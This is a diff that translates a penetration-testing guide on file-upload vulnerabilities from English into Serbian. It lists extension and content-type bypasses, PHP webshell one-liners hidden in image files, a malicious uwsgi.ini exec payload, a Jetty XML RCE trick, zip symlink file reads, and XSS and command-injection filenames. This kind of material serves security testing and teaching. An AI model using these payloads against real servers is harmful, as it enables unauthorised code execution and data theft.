1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
|
1. Ako se primenjuju, **proverite** **prethodne ekstenzije.** Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._
|
||||||
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
|
2. _Proverite **dodavanje važeće ekstenzije pre** ekstenzije za izvršavanje (koristite prethodne ekstenzije takođe):_
|
||||||
* _file.png.php_
|
* _file.png.php_
|
||||||
* _file.png.Php5_
|
* _file.png.Php5_
|
||||||
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_)
|
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp da **bruteforce** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
|
||||||
* _file.php%20_
|
* _file.php%20_
|
||||||
* _file.php%0a_
|
* _file.php%0a_
|
||||||
* _file.php%00_
|
* _file.php%00_
|
||||||
|
@ -50,7 +50,7 @@ Other useful extensions:
|
||||||
* _file._
|
* _file._
|
||||||
* _file.php...._
|
* _file.php...._
|
||||||
* _file.pHp5...._
|
* _file.pHp5...._
|
||||||
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
|
4. Pokušajte da zaobiđete zaštite **prevarom parsera ekstenzije** na serverskoj strani koristeći tehnike kao što su **dupliranje** **ekstenzije** ili **dodavanje junk** podataka (**null** bajtova) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da pripremite bolji payload._
|
||||||
* _file.png.php_
|
* _file.png.php_
|
||||||
* _file.png.pHp5_
|
* _file.png.pHp5_
|
||||||
* _file.php#.png_
|
* _file.php#.png_
|
||||||
|
@ -59,75 +59,75 @@ Other useful extensions:
|
||||||
* _file.php%0a.png_
|
* _file.php%0a.png_
|
||||||
* _file.php%0d%0a.png_
|
* _file.php%0d%0a.png_
|
||||||
* _file.phpJunk123png_
|
* _file.phpJunk123png_
|
||||||
5. Add **another layer of extensions** to the previous check:
|
5. Dodajte **još jedan sloj ekstenzija** na prethodnu proveru:
|
||||||
* _file.png.jpg.php_
|
* _file.png.jpg.php_
|
||||||
* _file.php%00.png%00.jpg_
|
* _file.php%00.png%00.jpg_
|
||||||
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code):
|
6. Pokušajte staviti **exec ekstenziju pre važeće ekstenzije** i molite se da je server pogrešno konfigurisan. (korisno za eksploataciju Apache pogrešnih konfiguracija gde bilo šta sa ekstenzijom **.php** će izvršiti kod):
|
||||||
* _ex: file.php.png_
|
* _ex: file.php.png_
|
||||||
7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
|
7. Koristeći **NTFS alternativni podatkovni tok (ADS)** u **Windows-u**. U ovom slučaju, karakter dvotačka “:” će biti umetnut nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, **prazan fajl sa zabranjenom ekstenzijom** će biti kreiran na serveru (npr. “file.asax:.jpg”). Ovaj fajl može biti kasnije izmenjen koristeći druge tehnike kao što je korišćenje njegovog kratkog imena. Šablon “**::$data**” se takođe može koristiti za kreiranje ne-praznih fajlova. Stoga, dodavanje tačke nakon ovog šablona može takođe biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
|
||||||
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
|
8. Pokušajte da prekinete limite imena fajlova. Važeća ekstenzija se skraćuje. A zlonameran PHP ostaje. AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
```
|
```
|
||||||
# Linux maximum 255 bytes
|
# Linux maksimalno 255 bajtova
|
||||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 ovde i dodavanje .png
|
||||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
# Učitajte fajl i proverite odgovor koliko karaktera dozvoljava. Recimo 236
|
||||||
python -c 'print "A" * 232'
|
python -c 'print "A" * 232'
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
# Make the payload
|
# Napravite payload
|
||||||
AAA<--SNIP 232 A-->AAA.php.png
|
AAA<--SNIP 232 A-->AAA.php.png
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
### Zaobilaženje Content-Type, Magic Number, Kompresije i Promene veličine
|
||||||
|
|
||||||
* Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
* Zaobiđite **Content-Type** provere postavljanjem **vrednosti** **Content-Type** **header-a** na: _image/png_ , _text/plain , application/octet-stream_
|
||||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
1. Content-Type **rečnik**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||||
* Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
|
* Zaobiđite **magic number** proveru dodavanjem na početak fajla **bajtova pravog imidža** (zbuniti _file_ komandu). Ili uvesti shell unutar **metapodataka**:\
|
||||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
`\` or you could also **introduce the payload directly** in an image:\
|
`\` ili takođe možete **direktno uvesti payload** u imidž:\
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
* If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
* Ako se **kompresija dodaje vašem imidžu**, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
||||||
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||||
* The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
* Web stranica takođe može **menjati veličinu** **imida**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete koristiti **IDAT chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
||||||
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||||
* Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
* Još jedna tehnika za pravljenje payload-a koji **preživljava promenu veličine imida**, koristeći PHP-GD funkciju `thumbnailImage`. Međutim, možete koristiti **tEXt chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
||||||
* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||||
|
|
||||||
### Other Tricks to check
|
### Ostali trikovi za proveru
|
||||||
|
|
||||||
* Find a vulnerability to **rename** the file already uploaded (to change the extension).
|
* Pronađite ranjivost da **preimenujete** već otpremljeni fajl (da promenite ekstenziju).
|
||||||
* Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
* Pronađite **Local File Inclusion** ranjivost da izvršite backdoor.
|
||||||
* **Possible Information disclosure**:
|
* **Moguće otkrivanje informacija**:
|
||||||
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
|
1. Otpremajte **više puta** (i u **isto vreme**) **isti fajl** sa **istim imenom**
|
||||||
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
|
2. Otpremajte fajl sa **imenom** fajla ili **foldera** koji **već postoji**
|
||||||
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
|
3. Otpremajte fajl sa **“.”, “..”, ili “…” kao njegovim imenom**. Na primer, u Apache-u u **Windows-u**, ako aplikacija čuva otpremljene fajlove u “/www/uploads/” direktorijumu, ime “.” će kreirati fajl pod nazivom “uploads” u “/www/” direktorijumu.
|
||||||
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows)
|
4. Otpremajte fajl koji se možda neće lako obrisati kao što je **“…:.jpg”** u **NTFS**. (Windows)
|
||||||
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
|
5. Otpremajte fajl u **Windows-u** sa **nevalidnim karakterima** kao što su `|<>*?”` u njegovom imenu. (Windows)
|
||||||
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
6. Otpremajte fajl u **Windows-u** koristeći **rezervisana** (**zabranjena**) **imena** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
||||||
* Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
|
* Takođe pokušajte da **otpremite izvršni** (.exe) ili **.html** (manje sumnjiv) koji **će izvršiti kod** kada ga žrtva slučajno otvori.
|
||||||
|
|
||||||
### Special extension tricks
|
### Specijalni trikovi sa ekstenzijama
|
||||||
|
|
||||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
Ako pokušavate da otpremite fajlove na **PHP server**, [pogledajte **.htaccess** trik za izvršavanje koda](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
Ako pokušavate da otpremite fajlove na **ASP server**, [pogledajte **.config** trik za izvršavanje koda](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||||
|
|
||||||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
|
Fajlovi sa ekstenzijom `.phar` su kao `.jar` za java, ali za php, i mogu se **koristiti kao php fajl** (izvršavajući ga sa php, ili uključujući ga unutar skripte...)
|
||||||
|
|
||||||
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
|
Ekstenzija `.inc` se ponekad koristi za php fajlove koji se koriste samo za **uvoz fajlova**, tako da je u nekom trenutku neko mogao dozvoliti **izvršavanje ove ekstenzije**.
|
||||||
|
|
||||||
## **Jetty RCE**
|
## **Jetty RCE**
|
||||||
|
|
||||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
Ako možete otpremiti XML fajl na Jetty server, možete dobiti [RCE jer se **novi \*.xml i \*.war automatski obrađuju**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je pomenuto na sledećoj slici, otpremite XML fajl u `$JETTY_BASE/webapps/` i očekujte shell!
|
||||||
|
|
||||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
|
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
|
||||||
|
|
||||||
## **uWSGI RCE**
|
## **uWSGI RCE**
|
||||||
|
|
||||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
Za detaljno istraživanje ove ranjivosti proverite originalno istraživanje: [uWSGI RCE Eksploatacija](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||||
|
|
||||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
Ranjivosti daljinskog izvršavanja komandi (RCE) mogu se eksploatisati na uWSGI serverima ako imate mogućnost da modifikujete `.ini` konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu za uključivanje "magic" varijabli, mesta i operatora. Značajno, operator '@', korišćen kao `@(filename)`, je dizajniran da uključi sadržaj fajla. Među raznim podržanim shemama u uWSGI, "exec" shema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcija se može iskoristiti za zle svrhe kao što su daljinsko izvršavanje komandi ili proizvoljno pisanje/čitanje fajlova kada se `.ini` konfiguracioni fajl obrađuje.
|
||||||
|
|
||||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
Razmotrite sledeći primer štetnog `uwsgi.ini` fajla, prikazujući razne sheme:
|
||||||
```ini
|
```ini
|
||||||
[uwsgi]
|
[uwsgi]
|
||||||
; read from a symbol
|
; read from a symbol
|
||||||
|
@ -147,7 +147,7 @@ characters = @(call://uwsgi_func)
|
||||||
```
|
```
|
||||||
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
|
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
|
||||||
|
|
||||||
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, diskutovani payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), dodatno proširujući opseg potencijalne eksploatacije.
|
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), dodatno proširujući opseg potencijalne eksploatacije.
|
||||||
|
|
||||||
## **wget File Upload/SSRF Trick**
|
## **wget File Upload/SSRF Trick**
|
||||||
|
|
||||||
|
@ -188,18 +188,18 @@ Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru
|
||||||
* Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
|
* Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
|
||||||
* Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
|
* Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
|
||||||
* [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
* [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||||
* **JS** datoteka **upload** + **XSS** = [**eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
* **JS** datoteka **upload** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||||
* [**XXE u svg uploadu**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
* [**XXE u uploadu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||||
* [**Otvoreno preusmeravanje** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
|
* [**Otvoreno preusmeravanje** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||||
* Pokušajte **različite svg payload-e** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
* Pokušajte **različite svg payloads** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||||
* [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
* [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||||
* Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije o svakom posetiocu**.
|
* Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije od svakog posetioca**.
|
||||||
* [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
|
* [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
|
||||||
* Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
|
* Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
|
||||||
* Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
|
* Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
|
||||||
* Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
|
* Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
|
||||||
|
|
||||||
Evo top 10 liste stvari koje možete postići učitavanjem (sa [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
Evo top 10 liste stvari koje možete postići učitavanjem (iz [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||||
|
|
||||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||||
2. **SVG**: Stored XSS / SSRF / XXE
|
2. **SVG**: Stored XSS / SSRF / XXE
|
||||||
|
@ -229,7 +229,7 @@ Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete ura
|
||||||
|
|
||||||
#### Symlink
|
#### Symlink
|
||||||
|
|
||||||
Učitajte link koji sadrži softverske linkove na druge datoteke, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
|
Učitajte link koji sadrži mekane linkove ka drugim datotekama, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
|
||||||
```
|
```
|
||||||
ln -s ../../../index.php symindex.txt
|
ln -s ../../../index.php symindex.txt
|
||||||
zip --symlinks test.zip symindex.txt
|
zip --symlinks test.zip symindex.txt
|
||||||
|
@ -314,7 +314,7 @@ Više informacija na: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
|
||||||
|
|
||||||
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
|
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
|
||||||
|
|
||||||
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik koji predstavljaju potencijalno štetni formati (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može tiho zaobići ova ograničenja.
|
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može tiho zaobići ova ograničenja.
|
||||||
|
|
||||||
Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
|
Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
|
||||||
|
|
||||||
|
@ -329,9 +329,9 @@ Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
|
||||||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -15,16 +15,16 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
